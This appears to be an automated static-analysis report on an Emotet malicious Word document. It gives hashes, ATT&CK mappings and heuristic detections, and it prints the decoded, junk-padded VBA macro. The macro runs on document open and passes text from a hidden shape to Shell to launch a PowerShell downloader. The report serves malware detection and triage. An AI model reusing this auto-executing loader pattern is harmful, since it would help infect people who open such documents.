Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a7edb8303e88fbc0…

MALICIOUS

Office (OLE)

139.4 KB Created: 2018-11-30 16:08:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: c0b498095aae2324c2a68e6fae6b2268 SHA-1: 0b3ef2827632782525f887f589b946399e194e0b SHA-256: a7edb8303e88fbc051aa927cf9af76e3acb68af816ac8273dbffaf7da30ab0fe
272 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that execute a heavily obfuscated command-line instruction. This instruction uses cmd.exe to invoke PowerShell, which in turn downloads and executes a second-stage payload from a reconstructed URL. The ClamAV detection name 'Doc.Downloader.Emotet-6826426-0' strongly suggests this is an Emotet downloader variant.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-6826426-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826426-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                ibjbp = CByte(24595846)
CiOuntw = Array(USWMDLkdf, Interaction.Shell(FNTFPfOBu, lNifiJir), HcQbOAcLl)
   On Error Resume Next
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
   On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5837 bytes
SHA-256: 507c21a13e50f982ec7642912771731f8251617f9441d8493382fa5cd47841d5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
133 of 194 identifiers look randomly generated (e.g. 'OjcKzUwwVFsOw') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "oijcBSdiYswCS"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   On Error Resume Next
            lsTiLIwqj = Atn(TiVtV)
            vQvHINjGh = CLng(vbEjOc)
            LGGLvR = Cos(RSJdmHPwf)
            iwkLkYJM = CByte(AMUlCsrOK)
            PmzwDqpE = CByte(40770098)
            avzwTw = CBool(102885109)
            DbiwzwQiw = GlvsFKQw
            zhVuTDsW = 36255978
            YSEczL = CByte(232924356)
Set nAiZtJ = Shapes("OjcKzUwwVFsOw")
   On Error Resume Next
            mYjRZASDF = Atn(vjEKKJ)
            opWKMBWHa = CLng(WkJkjs)
            BOGYQvAOS = Cos(mRiswd)
            PurpZW = CByte(KzivS)
            aPqMIvCaX = CByte(301066528)
            vupjpva = CBool(175267935)
            qVmBC = swOQNFv
            lXaSjAa = 296451890
            AWufjaUEH = CByte(138247538)
   On Error Resume Next
            KVuvMcA = Atn(jiLhzC)
            vtLnn = CLng(lfSOwHFSP)
            dKtwGqZ = Cos(rouwKlH)
            mVHwNt = CByte(cYpchQUv)
            QJhWG = CByte(28743102)
            EUqvw = CBool(8980796)
            VjHiVjKT = kZRZQO
            FWtsfADkH = 222213965
            DbXzla = CByte(231541375)
FNTFPfOBu = nAiZtJ.TextFrame.ContainingRange
   On Error Resume Next
            jPqmnv = Atn(sFKcc)
            kQuomk = CLng(jVjosKJ)
            ntRYp = Cos(kDWmE)
            jzzYLDTq = CByte(OTcIwfKf)
            tdlAE = CByte(77748740)
            EmQAMYBhB = CBool(294761331)
            WLcpqSTY = pPqXZYT
            bzfunfHQC = 280866733
            qSuHGwo = CByte(135436664)
   On Error Resume Next
            oEsMF = Atn(EiwqowdJ)
            LVolKTRY = CLng(XhEBFf)
            EwzGDr = Cos(jOpKpo)
            QXRnI = CByte(bCbqWfio)
            jDZSikB = CByte(211210708)
            cUJIW = CBool(134590106)
            bkEHJ = OwskCUGj
            NYIfmlX = 65417500
            OrOKniS = CByte(208949416)
   On Error Resume Next
            IcNFaRujG = Atn(rKBksjR)
            ajPEYRdVo = CLng(LQsRZMn)
            IomopDLE = Cos(aGRDk)
            stYfDE = CByte(bEcQUqjZk)
            zJbcGmrL = CByte(297635714)
            ODOWaa = CBool(4448550)
            YAhji = NhLYiV
            dpRUuIn = 245382052
            hTKlh = CByte(156101762)
   On Error Resume Next
            RoYLqUtnz = Atn(lTLaKSA)
            bTsHIkOH = CLng(nKwiz)
            VAioNwI = Cos(EvKLplphP)
            PfMAKj = CByte(ziKGcwun)
            qacdnjSZo = CByte(79347212)
            ZYWUFvjPS = CBool(102724892)
            qBAQQzn = wQXwvPE
            iiMnLwjO = 159446916
            qAjSiV = CByte(179635860)
   On Error Resume Next
            PwPwMrI = Atn(fMOARkvzD)
            YXBuP = CLng(bKJPYt)
            UmYOnm = Cos(NoURbFb)
            hwHOu = CByte(NcUViAXC)
            sTlsuNtV = CByte(51175170)
            iojCkT = CBool(64067782)
            bdLIJzkH = DtElB
            HbwpMh = 258047263
            czBPvdak = CByte(12166711)
   On Error Resume Next
            wbmSB = Atn(zYcHH)
            naBCTJTX = CLng(YCYrqiwZ)
            LEtiNjzWc = Cos(VTCRzCzR)
            AklQZQXZ = CByte(bKSzwj)
            DqFNVFzjk = CByte(9372891)
            VlaotR = CBool(76661574)
            IZnTRpH = vSRWUTUu
            sEQunF = 212604781
            zConmQA = CByte(260494337)
   On Error Resume Next
            CBXHJQnsw = Atn(CIaVk)
            csLCvCJSC = CLng(wjsGjctC)
            lvnzmc = Cos(wmwVOjvHv)
            jKzzrFFVT = CByte(ApWZO)
            FzzosZa = CByte(36545290)
            WWhYN = CBool(242325685)
            KrvjFPtq = iSVpIQWG
            dwHGAHkrv = 137366063
            XwGWPiid = CByte(208685961)
Const lNifiJir = 0
   On Error Resume Next
            jwOXim = Atn(npjGVjB)
            hvGqSVGBL = CLng(ziDFnTlUK)
            OToQmCz = Cos(tQSKw)
            EFYlh = CByte(cvCclHXiB)
            VAVdhO = CByte(48668747)
            DPXDHvcmi = CBool(336389479)
            iuznR = TQMfifPBj
            RoSXqzihR = 141415833
            nGzwZYj = CByte(125197667)
   On Error Resume Next
            GoBJwV = Atn(GDsHKini)
            TdYSOZH = CLng(iSSioJ)
            izTDYivK = Cos(AGXLda)
            ETspDpE = CByte(jhpfdCzSu)
            ZKPkJ = CByte(3566641)
            SLSICvj = CBool(26442069)
            NOwTktvVW = pPhKBndIE
            LUJrRk = 196411211
            pilGblpk = CByte(147046360)
   On Error Resume Next
            EvfSZSPG = Atn(WMcTpi)
            CWwGoPnNX = CLng(AmmKmGHBr)
            lzdXIsD = Cos(iEqJwWSh)
            VwoIR = CByte(hRdUDjGVS)
            ENDtZzvMD = CByte(230653358)
            BqnQrE = CBool(26600166)
            DDQUEvFf = zzXiYLt
            PocXC = 181299663
            ibjbp = CByte(24595846)
CiOuntw = Array(USWMDLkdf, Interaction.Shell(FNTFPfOBu, lNifiJir), HcQbOAcLl)
   On Error Resume Next
            NJNnNit = Atn(DHufuzd)
            wIRbd = CLng(ThGiiHEYn)
            LtESu = Cos(UIkdVbvE)
            NKkOSCh = CByte(XqjjizlTi)
            mUBvKM = CByte(93735777)
            JrAUslBJ = CBool(138717695)
            UKVFdCjcO = qIwJq
            IkXRA = 153888527
            ispqD = CByte(325434282)
   On Error Resume Next
            MROkbsB = Atn(GVDnlC)
            rcXjjIb = CLng(YMziY)
            JUqMESD = Cos(kCRIJ)
            FpkRP = CByte(vEUNSQkPp)
            bOdpzBM = CByte(181133136)
            jaksVRYw = CBool(164414852)
            ibiOdaEzc = oinRLaDfU
            EcJkf = 132256207
            MzwuRL = CByte(125685792)
End Sub

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